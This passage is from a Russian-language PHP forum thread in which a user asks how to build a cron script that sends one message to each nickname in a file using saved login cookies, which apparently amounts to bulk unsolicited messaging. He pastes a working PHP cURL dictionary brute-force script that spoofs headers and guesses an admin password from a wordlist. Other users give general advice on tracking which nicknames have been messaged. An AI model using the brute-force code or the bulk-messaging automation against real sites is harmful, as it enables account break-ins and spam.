2. есть скрипт (cURL) который делает авторизацию и сохраняет все в куки.
и главное:
3. файл который должен брать для авторизации куки, отправлять сообщение по нику и больше на этот ник не отсылать. Если в файле появился новый ник, шлем ему тоже. (запускать можно кроном).
На данный момент этот файл умеет юзать куки для авторизации, слать сообщение, но на тот ник, который указан в переменной.
Я думаю надо сделать как то перебор ников и как то их помечать чтобы больше не отсылать им сообщение.
Пока что не знаю как реализовать.
Заранее благодарю за Ваши ответы и подсказки.
(Есть возможность подключить 5 БД (MySQL)).
Спустя 42 секунды (7.01.2012 - 00:25) Frost-56 написал(а):
Думал взять за основу код для брута:
но не понял как именно он выдирает строку из файла и толкает её в переменную.
<?php
$ref = "http://www.example.com/index.php"; // Set the referrer to spoof
$denied = "Forbidden"; // Set the "Denied" output
$wordlist = "/var/www/wordlist.txt"; // Set the wordlist location
set_time_limit ( 0 ); // Set script execution limit. 0 = no limit
$ch = curl_init( ); // Initialise cURL
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1); // Set RETURNTRANSFER to TRUE
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1); // Set FOLLOWLOCATION to TRUE
curl_setopt( $ch, CURLOPT_REFERER, $ref); // Set REFERER to $ref
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); // Spoof User Agent
foreach( file ( $wordlist ) as $password ) // Start the loop for dictionary attack
{
$force = "http://admin:{$password}@www.example.com/admin/"; // Set the URL to attack,
curl_setopt( $ch, CURLOPT_URL, $force ); // Load the URL to attack with cURL
$check = curl_exec( $ch ); // Set params to check
if( !strpos ( $denied, $check ) ) // Check to see if $denied is not in page
{
die ( "Success! The password is: {$password}" ); // If $denied returns false, success
}
}
curl_close( $ch ); // Close the cURL process
?>
но не понял как именно он выдирает строку из файла и толкает её в переменную.
Спустя 12 часов, 28 минут, 24 секунды (7.01.2012 - 12:54) Frost-56 написал(а):
помогите товарисчи программисты
Спустя 17 минут, 58 секунд (7.01.2012 - 13:12) Nikitian написал(а):
перевести на работу с базой, добавив поле с меткой об отправке. Поле ника сделать уникальным. Если поле с меткой заполнено, то не отправлять, если не заполнено, от отправить и заполнить.
Спустя 50 секунд (7.01.2012 - 13:12) Семён написал(а):
Пишите в таблицу пользователя, которому отправили сообщение, и перед отправкой проверяйте, было ли отправлено ему ранее сообщение.
Спустя 52 секунды (7.01.2012 - 13:13) Frost-56 написал(а):
Цитата |
Семён |
Вариант не плохой
Спустя 7 минут, 52 секунды (7.01.2012 - 13:21) Семён написал(а):
Frost-56
Остаётся только гадать, что ты имел ввиду.
Знаки препинания нужно ставить.
Остаётся только гадать, что ты имел ввиду.
Знаки препинания нужно ставить.
Спустя 3 минуты, 7 секунд (7.01.2012 - 13:24) Frost-56 написал(а):
Основная моя проблема, это вносить строку и txt файла в переменную
Спустя 1 минута, 44 секунды (7.01.2012 - 13:26) Семён написал(а):
Поступите иначе.
Соберите все ники в 1 массив, затем в цикле просто пройдитесь по нему и отправьте сообщения.
Соберите все ники в 1 массив, затем в цикле просто пройдитесь по нему и отправьте сообщения.
Спустя 20 минут, 4 секунды (7.01.2012 - 13:46) Frost-56 написал(а):
Можно код с примером ?
А то я не понял как сделать это.
А то я не понял как сделать это.